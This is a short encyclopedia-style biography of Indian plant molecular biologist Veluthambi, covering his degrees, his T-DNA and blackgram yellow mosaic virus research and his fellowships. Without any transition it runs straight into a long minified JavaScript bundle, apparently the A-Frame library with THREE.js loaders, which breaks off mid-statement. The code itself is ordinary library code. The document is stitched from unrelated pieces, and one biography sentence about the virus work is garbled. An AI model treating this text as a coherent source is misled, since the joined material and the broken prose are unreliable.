After earning his B.Sc. and M.Sc. (Botany) from University of Madras in 1975, both of which included a Gold Medal, Veluthambi joined the Indian Institute of Science (IISc), Bangalore, where he went on to get his Ph.D in 1981 under the guidance of Professor Ramesh Maheshwari. He then worked as a Postdoctoral Fellow, from 1981 to 1988, with Dr. John Giovanelli at the National Institutes of Health in Bethesda, United States, Professor BW Poovaiah at Washington State University, United States, and Professor Stanton B. Gelvin at Purdue University, United States. During this time, he outlined the function of calcium and calmodulin in controlling the phosphorylation of proteins in plants and described the intermediates of the T-DNA transfer from Agrobacterium to plants.
Career
After moving back to India in 1988, Veluthambi enrolled in Madurai Kamaraj University, where he served as Professor and Head of the School of Biotechnology. Veluthambi pioneered plant genetic engineering research and teaching programmes while he was at Madurai Kamaraj University. He published the first ever study on T-DNA events known as "long transfers" that occurred outside the left T-DNA border. As his achievements, he Mungbean Yellow Mosaic Virus, which causes Blackgram Yellow Mosaic Disease, was cloned and sequenced by him. It has been demonstrated that blackgram is resistant to the yellow mosaic disease when RNA silencing is mediated by hairpin RNA. He created marker-free transgenic rice, which allays a significant biosafety worry about the horizontal transfer of antibiotic resistance genes to soil microorganisms. In his academic career, Veluthambi also served as the Dean of Research and Development in Madurai Kamaraj University. A DBT Centre for Plant Molecular Biology was created in Madurai Kamaraj University by Veluthambi under the direction of Professor A. Gnanam. He established a Technician Training Programme dedicated in Biotechnology in Madurai as part of DBT's efforts to create the human resource base to teach the Diploma Course in Methods in Biotechnology. With assistance from the Rockefeller Foundation, the United States, and the Indo-Swiss Collaboration in Biotechnology, he started international research programmes at Madurai Kamaraj University.
Honours
2002: Elected as Fellow of Indian Academy of Sciences
2002: Elected as Fellow of Guha Research Conference
2008: Elected as Fellow of Indian National Science Academy
References
Indian molecular biologists
Year of birth missing (living people)
Living people
Academic staff of Madurai Kamaraj University |
```javascript
!function(e){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{var t;t="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this,t.AFRAME=e()}}(function(){var t;return function i(e,t,r){function n(a,s){if(!t[a]){if(!e[a]){var c="function"==typeof require&&require;if(!s&&c)return c(a,!0);if(o)return o(a,!0);var u=new Error("Cannot find module '"+a+"'");throw u.code="MODULE_NOT_FOUND",u}var l=t[a]={exports:{}};e[a][0].call(l.exports,function(t){var i=e[a][1][t];return n(i?i:t)},l,l.exports,i,e,t,r)}return t[a].exports}for(var o="function"==typeof require&&require,a=0;a<r.length;a++)n(r[a]);return n}({1:[function(e,t){"use strict";t.exports={createLink:function(e,t){var i=document.head||document.getElementsByTagName("head")[0],r=document.createElement("link");r.href=e,r.rel="stylesheet";for(var n in t)if(t.hasOwnProperty(n)){var o=t[n];r.setAttribute("data-"+n,o)}i.appendChild(r)},createStyle:function(e,t){var i=document.head||document.getElementsByTagName("head")[0],r=document.createElement("style");r.type="text/css";for(var n in t)if(t.hasOwnProperty(n)){var o=t[n];r.setAttribute("data-"+n,o)}r.sheet?(r.innerHTML=e,r.sheet.cssText=e,i.appendChild(r)):r.styleSheet?(i.appendChild(r),r.styleSheet.cssText=e):(r.appendChild(document.createTextNode(e)),i.appendChild(r))}}},{}],2:[function(e,t){function i(){u=!1,a.length?c=a.concat(c):l=-1,c.length&&r()}function r(){if(!u){var e=setTimeout(i);u=!0;for(var t=c.length;t;){for(a=c,c=[];++l<t;)a&&a[l].run();l=-1,t=c.length}a=null,u=!1,clearTimeout(e)}}function n(e,t){this.fun=e,this.array=t}function o(){}var a,s=t.exports={},c=[],u=!1,l=-1;s.nextTick=function(e){var t=new Array(arguments.length-1);if(arguments.length>1)for(var i=1;i<arguments.length;i++)t[i-1]=arguments[i];c.push(new n(e,t)),1!==c.length||u||setTimeout(r,0)},n.prototype.run=function(){this.fun.apply(null,this.array)},s.title="browser",s.browser=!0,s.env={},s.argv=[],s.version="",s.versions={},s.on=o,s.addListener=o,s.once=o,s.off=o,s.removeListener=o,s.removeAllListeners=o,s.emit=o,s.binding=function(){throw new Error("process.binding is not supported")},s.cwd=function(){return"/"},s.chdir=function(){throw new Error("process.chdir is not supported")},s.umask=function(){return 0}},{}],3:[function(e,t,i){function r(){return"WebkitAppearance"in document.documentElement.style||window.console&&(console.firebug||console.exception&&console.table)||navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/)&&parseInt(RegExp.$1,10)>=31}function n(){var e=arguments,t=this.useColors;if(e[0]=(t?"%c":"")+this.namespace+(t?" %c":" ")+e[0]+(t?"%c ":" ")+"+"+i.humanize(this.diff),!t)return e;var r="color: "+this.color;e=[e[0],r,"color: inherit"].concat(Array.prototype.slice.call(e,1));var n=0,o=0;return e[0].replace(/%[a-z%]/g,function(e){"%%"!==e&&(n++,"%c"===e&&(o=n))}),e.splice(o,0,r),e}function o(){return"object"==typeof console&&console.log&&Function.prototype.apply.call(console.log,console,arguments)}function a(e){try{null==e?i.storage.removeItem("debug"):i.storage.debug=e}catch(t){}}function s(){var e;try{e=i.storage.debug}catch(t){}return e}function c(){try{return window.localStorage}catch(e){}}i=t.exports=e("./debug"),i.log=o,i.formatArgs=n,i.save=a,i.load=s,i.useColors=r,i.storage="undefined"!=typeof chrome&&"undefined"!=typeof chrome.storage?chrome.storage.local:c(),i.colors=["lightseagreen","forestgreen","goldenrod","dodgerblue","darkorchid","crimson"],i.formatters.j=function(e){return JSON.stringify(e)},i.enable(s())},{"./debug":4}],4:[function(e,t,i){function r(){return i.colors[l++%i.colors.length]}function n(e){function t(){}function n(){var e=n,t=+new Date,o=t-(u||t);e.diff=o,e.prev=u,e.curr=t,u=t,null==e.useColors&&(e.useColors=i.useColors()),null==e.color&&e.useColors&&(e.color=r());var a=Array.prototype.slice.call(arguments);a[0]=i.coerce(a[0]),"string"!=typeof a[0]&&(a=["%o"].concat(a));var s=0;a[0]=a[0].replace(/%([a-z%])/g,function(t,r){if("%%"===t)return t;s++;var n=i.formatters[r];if("function"==typeof n){var o=a[s];t=n.call(e,o),a.splice(s,1),s--}return t}),"function"==typeof i.formatArgs&&(a=i.formatArgs.apply(e,a));var c=n.log||i.log||console.log.bind(console);c.apply(e,a)}t.enabled=!1,n.enabled=!0;var o=i.enabled(e)?n:t;return o.namespace=e,o}function o(e){i.save(e);for(var t=(e||"").split(/[\s,]+/),r=t.length,n=0;r>n;n++)t[n]&&(e=t[n].replace(/\*/g,".*?"),"-"===e[0]?i.skips.push(new RegExp("^"+e.substr(1)+"$")):i.names.push(new RegExp("^"+e+"$")))}function a(){i.enable("")}function s(e){var t,r;for(t=0,r=i.skips.length;r>t;t++)if(i.skips[t].test(e))return!1;for(t=0,r=i.names.length;r>t;t++)if(i.names[t].test(e))return!0;return!1}function c(e){return e instanceof Error?e.stack||e.message:e}i=t.exports=n,i.coerce=c,i.disable=a,i.enable=o,i.enabled=s,i.humanize=e("ms"),i.names=[],i.skips=[],i.formatters={};var u,l=0},{ms:5}],5:[function(e,t){function i(e){if(e=""+e,!(e.length>1e4)){var t=/^((?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$/i.exec(e);if(t){var i=parseFloat(t[1]),r=(t[2]||"ms").toLowerCase();switch(r){case"years":case"year":case"yrs":case"yr":case"y":return i*l;case"days":case"day":case"d":return i*u;case"hours":case"hour":case"hrs":case"hr":case"h":return i*c;case"minutes":case"minute":case"mins":case"min":case"m":return i*s;case"seconds":case"second":case"secs":case"sec":case"s":return i*a;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return i}}}}function r(e){return e>=u?Math.round(e/u)+"d":e>=c?Math.round(e/c)+"h":e>=s?Math.round(e/s)+"m":e>=a?Math.round(e/a)+"s":e+"ms"}function n(e){return o(e,u,"day")||o(e,c,"hour")||o(e,s,"minute")||o(e,a,"second")||e+" ms"}function o(e,t,i){return t>e?void 0:1.5*t>e?Math.floor(e/t)+" "+i:Math.ceil(e/t)+" "+i+"s"}var a=1e3,s=60*a,c=60*s,u=24*c,l=365.25*u;t.exports=function(e,t){return t=t||{},"string"==typeof e?i(e):t["long"]?n(e):r(e)}},{}],6:[function(e,t){"use strict";function i(e){if(null===e||void 0===e)throw new TypeError("Sources cannot be null or undefined");return Object(e)}function r(e,t,i){var r=t[i];if(void 0!==r&&null!==r){if(a.call(e,i)&&(void 0===e[i]||null===e[i]))throw new TypeError("Cannot convert undefined or null to object ("+i+")");e[i]=a.call(e,i)&&o(r)?n(Object(e[i]),t[i]):r}}function n(e,t){if(e===t)return e;t=Object(t);for(var i in t)a.call(t,i)&&r(e,t,i);if(Object.getOwnPropertySymbols)for(var n=Object.getOwnPropertySymbols(t),o=0;o<n.length;o++)s.call(t,n[o])&&r(e,t,n[o]);return e}var o=e("is-obj"),a=Object.prototype.hasOwnProperty,s=Object.prototype.propertyIsEnumerable;t.exports=function(e){e=i(e);for(var t=1;t<arguments.length;t++)n(e,arguments[t]);return e}},{"is-obj":7}],7:[function(e,t){"use strict";t.exports=function(e){var t=typeof e;return null!==e&&("object"===t||"function"===t)}},{}],8:[function(){!function(t,i,r,n){"use strict";function o(e,t){for(var i=0,r=e.length;r>i;i++)v(e[i],t)}function a(e){for(var t,i=0,r=e.length;r>i;i++)t=e[i],b(t,P[c(t)])}function s(e){return function(t){ne(t)&&(v(t,e),o(t.querySelectorAll(F),e))}}function c(e){var t=se.call(e,"is"),i=e.nodeName.toUpperCase(),r=V.call(U,t?k+t.toUpperCase():z+i);return t&&r>-1&&!u(i,t)?-1:r}function u(e,t){return-1<F.indexOf(e+'[is="'+t+'"]')}function l(e){var t=e.currentTarget,i=e.attrChange,r=e.attrName,n=e.target;ve&&(!n||n===t)&&t.attributeChangedCallback&&"style"!==r&&e.prevValue!==e.newValue&&t.attributeChangedCallback(r,i===e[S]?null:e.prevValue,i===e[I]?null:e.newValue)}function h(e){var t=s(e);return function(e){y.push(t,e.target)}}function d(e){ge&&(ge=!1,e.currentTarget.removeEventListener(_,d)),o((e.target||i).querySelectorAll(F),e.detail===D?D:L),re&&m()}function p(e,t){var i=this;ce.call(i,e,t),M.call(i,{target:i})}function f(e,t){ee(e,t),w?w.observe(e,he):(me&&(e.setAttribute=p,e[T]=x(e),e.addEventListener(O,M)),e.addEventListener(j,l)),e.createdCallback&&ve&&(e.created=!0,e.createdCallback(),e.created=!1)}function m(){for(var e,t=0,i=oe.length;i>t;t++)e=oe[t],G.contains(e)||(i--,oe.splice(t--,1),v(e,D))}function g(e){throw new Error("A "+e+" type is already registered")}function v(e,t){var i,r=c(e);r>-1&&(E(e,P[r]),r=0,t!==L||e[L]?t===D&&!e[D]&&(e[L]=!1,e[D]=!0,r=1):(e[D]=!1,e[L]=!0,r=1,re&&V.call(oe,e)<0&&oe.push(e)),r&&(i=e[t+"Callback"])&&i.call(e))}if(!(n in i)){var y,M,A,x,w,E,b,T="__"+n+(1e5*Math.random()>>0),L="attached",D="detached",N="extends",S="ADDITION",C="MODIFICATION",I="REMOVAL",j="DOMAttrModified",_="DOMContentLoaded",O="DOMSubtreeModified",z="<",k="=",R=/^[A-Z][A-Z0-9]*(?:-[A-Z0-9]+)+$/,B=["ANNOTATION-XML","COLOR-PROFILE","FONT-FACE","FONT-FACE-SRC","FONT-FACE-URI","FONT-FACE-FORMAT","FONT-FACE-NAME","MISSING-GLYPH"],U=[],P=[],F="",G=i.documentElement,V=U.indexOf||function(e){for(var t=this.length;t--&&this[t]!==e;);return t},Q=r.prototype,Y=Q.hasOwnProperty,H=Q.isPrototypeOf,W=r.defineProperty,X=r.getOwnPropertyDescriptor,q=r.getOwnPropertyNames,Z=r.getPrototypeOf,K=r.setPrototypeOf,J=!!r.__proto__,$=r.create||function ye(e){return e?(ye.prototype=e,new ye):this},ee=K||(J?function(e,t){return e.__proto__=t,e}:q&&X?function(){function e(e,t){for(var i,r=q(t),n=0,o=r.length;o>n;n++)i=r[n],Y.call(e,i)||W(e,i,X(t,i))}return function(t,i){do e(t,i);while((i=Z(i))&&!H.call(i,t));return t}}():function(e,t){for(var i in t)e[i]=t[i];return e}),te=t.MutationObserver||t.WebKitMutationObserver,ie=(t.HTMLElement||t.Element||t.Node).prototype,re=!H.call(ie,G),ne=re?function(e){return 1===e.nodeType}:function(e){return H.call(ie,e)},oe=re&&[],ae=ie.cloneNode,se=ie.getAttribute,ce=ie.setAttribute,ue=ie.removeAttribute,le=i.createElement,he=te&&{attributes:!0,characterData:!0,attributeOldValue:!0},de=te||function(){me=!1,G.removeEventListener(j,de)},pe=t.requestAnimationFrame||t.webkitRequestAnimationFrame||t.mozRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,10)},fe=!1,me=!0,ge=!0,ve=!0;K||J?(E=function(e,t){H.call(t,e)||f(e,t)},b=f):(E=function(e,t){e[T]||(e[T]=r(!0),f(e,t))},b=E),re?(me=!1,function(){var t=X(ie,"addEventListener"),i=t.value,r=function(e){var t=new CustomEvent(j,{bubbles:!0});t.attrName=e,t.prevValue=se.call(this,e),t.newValue=null,t[I]=t.attrChange=2,ue.call(this,e),this.dispatchEvent(t)},n=function(t,i){var r=this.hasAttribute(t),n=r&&se.call(this,t);e=new CustomEvent(j,{bubbles:!0}),ce.call(this,t,i),e.attrName=t,e.prevValue=r?n:null,e.newValue=i,r?e[C]=e.attrChange=1:e[S]=e.attrChange=0,this.dispatchEvent(e)},o=function(e){var t,i=e.currentTarget,r=i[T],n=e.propertyName;r.hasOwnProperty(n)&&(r=r[n],t=new CustomEvent(j,{bubbles:!0}),t.attrName=r.name,t.prevValue=r.value||null,t.newValue=r.value=i[n]||null,null==t.prevValue?t[S]=t.attrChange=0:t[C]=t.attrChange=1,i.dispatchEvent(t))};t.value=function(e,t,a){e===j&&this.attributeChangedCallback&&this.setAttribute!==n&&(this[T]={className:{name:"class",value:this.className}},this.setAttribute=n,this.removeAttribute=r,i.call(this,"propertychange",o)),i.call(this,e,t,a)},W(ie,"addEventListener",t)}()):te||(G.addEventListener(j,de),G.setAttribute(T,1),G.removeAttribute(T),me&&(M=function(e){var t,i,r,n=this;if(n===e.target){t=n[T],n[T]=i=x(n);for(r in i){if(!(r in t))return A(0,n,r,t[r],i[r],S);if(i[r]!==t[r])return A(1,n,r,t[r],i[r],C)}for(r in t)if(!(r in i))return A(2,n,r,t[r],i[r],I)}},A=function(e,t,i,r,n,o){var a={attrChange:e,currentTarget:t,attrName:i,prevValue:r,newValue:n};a[o]=e,l(a)},x=function(e){for(var t,i,r={},n=e.attributes,o=0,a=n.length;a>o;o++)t=n[o],i=t.name,"setAttribute"!==i&&(r[i]=t.value);return r})),i[n]=function(e,t){if(r=e.toUpperCase(),fe||(fe=!0,te?(w=function(e,t){function i(e,t){for(var i=0,r=e.length;r>i;t(e[i++]));}return new te(function(r){for(var n,o,a,s=0,c=r.length;c>s;s++)n=r[s],"childList"===n.type?(i(n.addedNodes,e),i(n.removedNodes,t)):(o=n.target,ve&&o.attributeChangedCallback&&"style"!==n.attributeName&&(a=se.call(o,n.attributeName),a!==n.oldValue&&o.attributeChangedCallback(n.attributeName,n.oldValue,a)))})}(s(L),s(D)),w.observe(i,{childList:!0,subtree:!0})):(y=[],pe(function v(){for(;y.length;)y.shift().call(null,y.shift());pe(v)}),i.addEventListener("DOMNodeInserted",h(L)),i.addEventListener("DOMNodeRemoved",h(D))),i.addEventListener(_,d),i.addEventListener("readystatechange",d),i.createElement=function(e,t){var r=le.apply(i,arguments),n=""+e,o=V.call(U,(t?k:z)+(t||n).toUpperCase()),a=o>-1;return t&&(r.setAttribute("is",t=t.toLowerCase()),a&&(a=u(n.toUpperCase(),t))),ve=!i.createElement.innerHTMLHelper,a&&b(r,P[o]),r},ie.cloneNode=function(e){var t=ae.call(this,!!e),i=c(t);return i>-1&&b(t,P[i]),e&&a(t.querySelectorAll(F)),t}),-2<V.call(U,k+r)+V.call(U,z+r)&&g(e),!R.test(r)||-1<V.call(B,r))throw new Error("The type "+e+" is invalid");var r,n,l=function(){return f?i.createElement(m,r):i.createElement(m)},p=t||Q,f=Y.call(p,N),m=f?t[N].toUpperCase():r;return f&&-1<V.call(U,z+m)&&g(m),n=U.push((f?k:z)+r)-1,F=F.concat(F.length?",":"",f?m+'[is="'+e.toLowerCase()+'"]':m),l.prototype=P[n]=Y.call(p,"prototype")?p.prototype:$(ie),o(i.querySelectorAll(F),L),l}}}(window,document,Object,"registerElement")},{}],9:[function(e,t){"use strict";function i(e){if(null===e||void 0===e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}var r=Object.prototype.hasOwnProperty,n=Object.prototype.propertyIsEnumerable;t.exports=Object.assign||function(e){for(var t,o,a=i(e),s=1;s<arguments.length;s++){t=Object(arguments[s]);for(var c in t)r.call(t,c)&&(a[c]=t[c]);if(Object.getOwnPropertySymbols){o=Object.getOwnPropertySymbols(t);for(var u=0;u<o.length;u++)n.call(t,o[u])&&(a[o[u]]=t[o[u]])}}return a}},{}],10:[function(e,t){(function(e){var i=e.performance||{},r=function(){for(var e=["now","webkitNow","msNow","mozNow","oNow"];e.length;){var t=e.shift();if(t in i)return i[t].bind(i)}var r=Date.now||function(){return(new Date).getTime()},n=(i.timing||{}).navigationStart||r();return function(){return r()-n}}();r.performanceNow=i.now,r.noConflict=function(){i.now=r.performanceNow},r.conflict=function(){i.now=r},r.conflict(),t.exports=r}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],11:[function(e,t){!function(e){function i(e,t){return function(){e.apply(t,arguments)}}function r(e){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new TypeError("not a function");this._state=null,this._value=null,this._deferreds=[],u(e,i(o,this),i(a,this))}function n(e){var t=this;return null===this._state?void this._deferreds.push(e):void h(function(){var i=t._state?e.onFulfilled:e.onRejected;if(null===i)return void(t._state?e.resolve:e.reject)(t._value);var r;try{r=i(t._value)}catch(n){return void e.reject(n)}e.resolve(r)})}function o(e){try{if(e===this)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e||"function"==typeof e)){var t=e.then;if("function"==typeof t)return void u(i(t,e),i(o,this),i(a,this))}this._state=!0,this._value=e,s.call(this)}catch(r){a.call(this,r)}}function a(e){this._state=!1,this._value=e,s.call(this)}function s(){for(var e=0,t=this._deferreds.length;t>e;e++)n.call(this,this._deferreds[e]);this._deferreds=null}function c(e,t,i,r){this.onFulfilled="function"==typeof e?e:null,this.onRejected="function"==typeof t?t:null,this.resolve=i,this.reject=r}function u(e,t,i){var r=!1;try{e(function(e){r||(r=!0,t(e))},function(e){r||(r=!0,i(e))})}catch(n){if(r)return;r=!0,i(n)}}var l=setTimeout,h="function"==typeof setImmediate&&setImmediate||function(e){l(e,1)},d=Array.isArray||function(e){return"[object Array]"===Object.prototype.toString.call(e)};r.prototype["catch"]=function(e){return this.then(null,e)},r.prototype.then=function(e,t){var i=this;return new r(function(r,o){n.call(i,new c(e,t,r,o))})},r.all=function(){var e=Array.prototype.slice.call(1===arguments.length&&d(arguments[0])?arguments[0]:arguments);return new r(function(t,i){function r(o,a){try{if(a&&("object"==typeof a||"function"==typeof a)){var s=a.then;if("function"==typeof s)return void s.call(a,function(e){r(o,e)},i)}e[o]=a,0===--n&&t(e)}catch(c){i(c)}}if(0===e.length)return t([]);for(var n=e.length,o=0;o<e.length;o++)r(o,e[o])})},r.resolve=function(e){return e&&"object"==typeof e&&e.constructor===r?e:new r(function(t){t(e)})},r.reject=function(e){return new r(function(t,i){i(e)})},r.race=function(e){return new r(function(t,i){for(var r=0,n=e.length;n>r;r++)e[r].then(t,i)})},r._setImmediateFn=function(e){h=e},"undefined"!=typeof t&&t.exports?t.exports=r:e.Promise||(e.Promise=r)}(this)},{}],12:[function(e,t){function i(e){var t=function(e){return e.trim()},i={};return r(e).map(t).filter(Boolean).forEach(function(e){var t=e.indexOf(":"),r=e.substr(0,t).trim(),n=e.substr(t+1).trim();i[r]=n}),i}function r(e){for(var t,i=[],r=0,n=";",o=/url\([^\)]+$/,a="";r<e.length;)t=e.indexOf(n,r),-1===t&&(t=e.length),a+=e.substring(r,t),o.test(a)?(a+=";",r=t+1):(i.push(a),a="",r=t+1);return i}function n(e){return Object.keys(e).map(function(t){return t+":"+e[t]}).join(";")}function o(e){return n(i(e))}t.exports.parse=i,t.exports.stringify=n,t.exports.normalize=o},{}],13:[function(){THREE.BlendCharacter=function(){this.weightSchedule=[],this.warpSchedule=[],this.load=function(e,t){var i=this,r=new THREE.ObjectLoader;r.load(e,function(r){if(r.traverse(function(e){e instanceof THREE.SkinnedMesh&&(i.skinnedMesh=e)}),THREE.SkinnedMesh.call(i,i.skinnedMesh.geometry,i.skinnedMesh.material),void 0==i.skinnedMesh)return void console.log("unable to find skinned mesh in "+e);i.material.skinning=!0,i.mixer=new THREE.AnimationMixer(i),i.mixer=i.mixer;for(var n=0;n<i.geometry.animations.length;++n)i.mixer.clipAction(i.geometry.animations[n]);void 0!==t&&t()})},this.update=function(e){this.mixer.update(e)},this.play=function(e,t){return this.mixer.clipAction(e).setEffectiveWeight(t).play()},this.crossfade=function(e,t,i){this.mixer.stopAllAction();var r=this.play(e,1),n=this.play(t,1);r.crossFadeTo(n,i,!1)},this.warp=function(e,t,i){this.mixer.stopAllAction();var r=this.play(e,1),n=this.play(t,1);r.crossFadeTo(n,i,!0)},this.applyWeight=function(e,t){this.mixer.clipAction(e).setEffectiveWeight(t)},this.getWeight=function(e){return this.mixer.clipAction(e).getEffectiveWeight()},this.pauseAll=function(){this.mixer.timeScale=0},this.unPauseAll=function(){this.mixer.timeScale=1},this.stopAll=function(){this.mixer.stopAllAction()},this.showModel=function(e){this.visible=e}},THREE.BlendCharacter.prototype=Object.create(THREE.SkinnedMesh.prototype),THREE.BlendCharacter.prototype.constructor=THREE.BlendCharacter,THREE.BlendCharacter.prototype.getForward=function(){var e=new THREE.Vector3;return function(){return e.set(-this.matrix.elements[8],-this.matrix.elements[9],-this.matrix.elements[10]),e}}},{}],14:[function(){THREE.ColladaLoader=function(){function e(e,i,r,n){var o=0;if(document.implementation&&document.implementation.createDocument){var a=new XMLHttpRequest;a.onreadystatechange=function(){4===a.readyState?0===a.status||200===a.status?a.response?(Be=i,t(a.response,void 0,e)):n?n({type:"error",url:e}):console.error("ColladaLoader: Empty or non-existing file ("+e+")"):n?n({type:"error",url:e}):console.error("ColladaLoader: Couldn't load \""+e+'" ('+a.status+")"):3===a.readyState&&r&&(0===o&&(o=a.getResponseHeader("Content-Length")),r({total:o,loaded:a.responseText.length}))},a.open("GET",e,!0),a.send(null)}else alert("Don't know how to parse XML!")}function t(e,t,i){if(ke=(new DOMParser).parseFromString(e,"text/xml"),t=t||Be,void 0!==i){var c=i.split("/");c.pop(),_e=(c.length<1?".":c.join("/"))+"/"}r(),Ae(),Pe=n("library_images image",L,"image"),Qe=n("library_materials material",H,"material"),Ye=n("library_effects effect",K,"effect"),Ve=n("library_geometries geometry",k,"geometry"),He=n("library_cameras camera",re,"camera"),We=n("library_lights light",oe,"light"),Ge=n("library_controllers controller",D,"controller"),Fe=n("library_animations animation",$,"animation"),Ie=n("library_visual_scenes visual_scene",C,"visual_scene"),je=n("library_kinematics_models kinematics_model",se,"kinematics_model"),Oe=[],ze=[],De=o(),Re=new THREE.Group;for(var u=0;u<De.nodes.length;u++)Re.add(v(De.nodes[u]));Re.scale.multiplyScalar(Ze),s(),Ne=a(),g();var l={scene:Re,morphs:Oe,skins:ze,animations:Se,kinematics:Ce,dae:{images:Pe,materials:Qe,cameras:He,lights:We,effects:Ye,geometries:Ve,controllers:Ge,animations:Fe,visualScenes:Ie,visualScene:De,scene:De,kinematicsModels:je,kinematicsModel:Ne}};return t&&t(l),l}function i(e){Xe=e}function r(){var e=ke.querySelectorAll("asset"),t=e[0];if(t&&t.childNodes)for(var i=0;i<t.childNodes.length;i++){var r=t.childNodes[i];switch(r.nodeName){case"unit":var n=r.getAttribute("meter");n&&(Ze=parseFloat(n));break;case"up_axis":Ke=r.textContent.charAt(0)}}}function n(e,t,i){for(var r=ke.querySelectorAll(e),n={},o=0,a=r.length,s=0;a>s;s++){var c=r[s],u=(new t).parse(c);u.id&&0!==u.id.length||(u.id=i+o++),n[u.id]=u}return n}function o(){var e=ke.querySelectorAll("scene instance_visual_scene")[0];if(e){var t=e.getAttribute("url").replace(/^#/,"");return Ie[t.length>0?t:"visual_scene0"]}return null}function a(){var e=ke.querySelectorAll("instance_kinematics_model")[0];if(e){var t=e.getAttribute("url").replace(/^#/,"");return je[t.length>0?t:"kinematics_model0"]}return null}function s(){Se=[],c(Re)}function c(e){var t=De.getChildById(e.colladaId,!0),i=null;if(t&&t.keys){i={fps:60,hierarchy:[{node:t,keys:t.keys,sids:t.sids}],node:e,name:"animation_"+e.name,length:0},Se.push(i);for(var r=0,n=t.keys.length;n>r;r++)i.length=Math.max(i.length,t.keys[r].time)}else i={hierarchy:[{keys:[],sids:[]}]};for(var r=0,n=e.children.length;n>r;r++)for(var o=c(e.children[r]),a=0,s=o.hierarchy.length;s>a;a++)i.hierarchy.push({keys:[],sids:[]});return i}function u(){var e,t=1e6,i=-t,r=0;for(var n in Fe){var o=Fe[n];e=e||o.id;for(var a=0;a<o.sampler.length;a++){var s=o.sampler[a];s.create(),t=Math.min(t,s.startTime),i=Math.max(i,s.endTime),r=Math.max(r,s.input.length)}}return{start:t,end:i,frames:r,ID:e}}function l(e,t){var i=t instanceof _?Ge[t.url]:t;if(!i||!i.morph)return void console.log("could not find morph controller!");for(var r=i.morph,n=0;n<r.targets.length;n++){var o=r.targets[n],a=Ve[o];if(a.mesh&&a.mesh.primitives&&a.mesh.primitives.length){var s=a.mesh.primitives[0].geometry;s.vertices.length===e.vertices.length&&e.morphTargets.push({name:"target_1",vertices:s.vertices})}}e.morphTargets.push({name:"target_Z",vertices:e.vertices})}function h(e,t,i,r){if(e.world=e.world||new THREE.Matrix4,e.localworld=e.localworld||new THREE.Matrix4,e.world.copy(e.matrix),e.localworld.copy(e.matrix),e.channels&&e.channels.length){var n=e.channels[0],o=n.sampler.output[i];o instanceof THREE.Matrix4&&(e.world.copy(o),e.localworld.copy(o),0===i&&e.matrix.copy(o))}r&&e.world.multiplyMatrices(r,e.world),t.push(e);for(var a=0;a<e.nodes.length;a++)h(e.nodes[a],t,i,e.world)}function d(e,t){for(var i=0;i<e.length;i++){var r=e[i],n=-1;if("JOINT"==r.type){for(var o=0;o<t.joints.length;o++)if(r.sid===t.joints[o]){n=o;break}if(n>=0){var a=t.invBindMatrices[n];r.invBindMatrix=a,r.skinningMatrix=new THREE.Matrix4,r.skinningMatrix.multiplyMatrices(r.world,a),r.animatrix=new THREE.Matrix4,r.animatrix.copy(r.localworld),r.weights=[];for(var o=0;o<t.weights.length;o++)for(var s=0;s<t.weights[o].length;s++){var c=t.weights[o][s];c.joint===n&&r.weights.push(c)}}else console.warn("ColladaLoader: Could not find joint '"+r.sid+"'."),r.skinningMatrix=new THREE.Matrix4,r.weights=[]}}}function p(e){var t=[],i=function(e,t,r){var n={};n.name=t.sid,n.parent=e,n.matrix=t.matrix;var o=[new THREE.Vector3,new THREE.Quaternion,new THREE.Vector3];n.matrix.decompose(o[0],o[1],o[2]),n.pos=[o[0].x,o[0].y,o[0].z],n.scl=[o[2].x,o[2].y,o[2].z],n.rotq=[o[1].x,o[1].y,o[1].z,o[1].w],r.push(n);for(var a in t.nodes)i(t.sid,t.nodes[a],r)};return i(-1,e,t),t}function f(e,t,i){var r=[];h(t,r,-1),d(r,i.skin);for(var n=new THREE.Vector3,o=[],a=0;a<e.vertices.length;a++)o.push(new THREE.Vector3);for(a=0;a<r.length;a++)if("JOINT"==r[a].type)for(var s=0;s<r[a].weights.length;s++){var c=r[a].weights[s],u=c.index,l=c.weight,p=e.vertices[u],f=o[u];n.x=p.x,n.y=p.y,n.z=p.z,n.applyMatrix4(r[a].skinningMatrix),f.x+=n.x*l,f.y+=n.y*l,f.z+=n.z*l}for(var a=0;a<e.vertices.length;a++)e.vertices[a]=o[a]}function m(e,t,i){var r=Ge[t.url];if(i=void 0!==i?i:40,!r||!r.skin)return void console.log("ColladaLoader: Could not find skin controller.");if(!t.skeleton||!t.skeleton.length)return void console.log("ColladaLoader: Could not find the skeleton for the skin. ");for(var n=u(),o=De.getChildById(t.skeleton[0],!0)||De.getChildBySid(t.skeleton[0],!0),a=p(o),s=r.skin.joints,c=[],l=0;l<s.length;l++)for(var m=0;m<a.length;m++)a[m].name===s[l]&&(c[l]=a[m]);for(var l=0;l<c.length;l++)for(var m=0;m<c.length;m++)c[l].parent===c[m].name&&(c[l].parent=m);{var l,m,g;new THREE.Vector3}for(l=0;l<e.vertices.length;l++)e.vertices[l].applyMatrix4(r.skin.bindShapeMatrix);for(var v=[],y=[],M=r.skin.weights,l=0;l<M.length;l++){var A=new THREE.Vector4(M[l][0]?M[l][0].joint:0,M[l][1]?M[l][1].joint:0,M[l][2]?M[l][2].joint:0,M[l][3]?M[l][3].joint:0),g=new THREE.Vector4(M[l][0]?M[l][0].weight:0,M[l][1]?M[l][1].weight:0,M[l][2]?M[l][2].weight:0,M[l][3]?M[l][3].weight:0);v.push(A),y.push(g)}e.skinIndices=v,e.skinWeights=y,e.bones=c;for(var x={name:n.ID,fps:30,length:n.frames/30,hierarchy:[]},m=0;m<c.length;m++)x.hierarchy.push({parent:c[m].parent,name:c[m].name,keys:[]});for(console.log("ColladaLoader:",n.ID+" has "+c.length+" bones."),f(e,o,r),i=0;i<n.frames;i++){var w=[];h(o,w,i),d(w,r.skin);for(var l=0;l<w.length;l++)for(var 